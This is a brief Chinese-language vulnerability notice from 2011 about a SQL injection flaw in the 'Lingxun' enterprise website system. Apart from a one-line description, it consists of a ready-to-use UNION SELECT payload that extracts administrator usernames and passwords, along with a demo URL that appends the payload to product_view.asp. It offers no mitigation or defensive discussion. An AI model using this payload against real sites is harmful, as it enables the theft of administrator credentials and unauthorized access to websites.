灵讯企业网站系统 SQL注入漏洞

发布日期：2011-04.19
发布作者：佚名

漏洞类型：SQL注入

漏洞描述：灵讯企业网站系统程序未进行SQL注入过滤导致SQL注射漏洞。

漏洞测试EXP:

union select 1,user_name,password,4,5,6,7,8,9,10 from administrator 

 

Demo:
http://localhost/product_view.asp?id=23 union select 1,user_name,password,4,5,6,7,8,9,10 from administrator
 

 

标签分类：